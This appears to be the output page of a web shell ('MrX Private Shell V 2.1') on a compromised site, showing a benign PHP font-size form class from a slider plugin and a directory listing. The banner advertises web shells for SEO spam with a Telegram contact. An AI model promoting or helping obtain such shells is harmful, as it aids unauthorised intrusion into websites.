__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
namespace Nextend\Framework\Form\Element\MixedField;
use Nextend\Framework\Form\AbstractField;
use Nextend\Framework\Form\Element\MixedField;
use Nextend\Framework\Form\Element\Text\NumberSlider;
use Nextend\Framework\Form\Element\Unit;
class FontSize extends MixedField {
protected $rowClass = 'n2_field_mixed_font_size ';
public function __construct($insertAt, $name = '', $label = '', $default = '', $parameters = array()) {
parent::__construct($insertAt, $name, $label, $default, $parameters);
new NumberSlider($this, $this->name . '-1', false, '', array(
'min' => 1,
'max' => 10000,
'sliderMax' => 100,
'units' => array(
'pxMin' => 1,
'pxMax' => 10000,
'pxSliderMax' => 100,
'%Min' => 1,
'%Max' => 10000,
'%SliderMax' => 600
),
'style' => 'width: 22px;'
));
new Unit($this, $this->name . '-2', false, '', array(
'units' => array(
'px' => 'px',
'%' => '%'
)
));
}
/**
* @param AbstractField $element
*
* @return string
*/
public function decorateElement($element) {
$elementHtml = $element->render();
return $elementHtml[1];
}
protected function decorate($html) {
return '<div class="n2_field_mixed_font_size__container" style="' . $this->style . '">' . $html . '</div>';
}
}| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Border.php | File | 2.17 KB | 0664 |
|
| BoxShadow.php | File | 1.18 KB | 0664 |
|
| FontSize.php | File | 1.55 KB | 0664 |
|
| GeneratorOrder.php | File | 1.08 KB | 0664 |
|
| TextShadow.php | File | 1.18 KB | 0664 |
|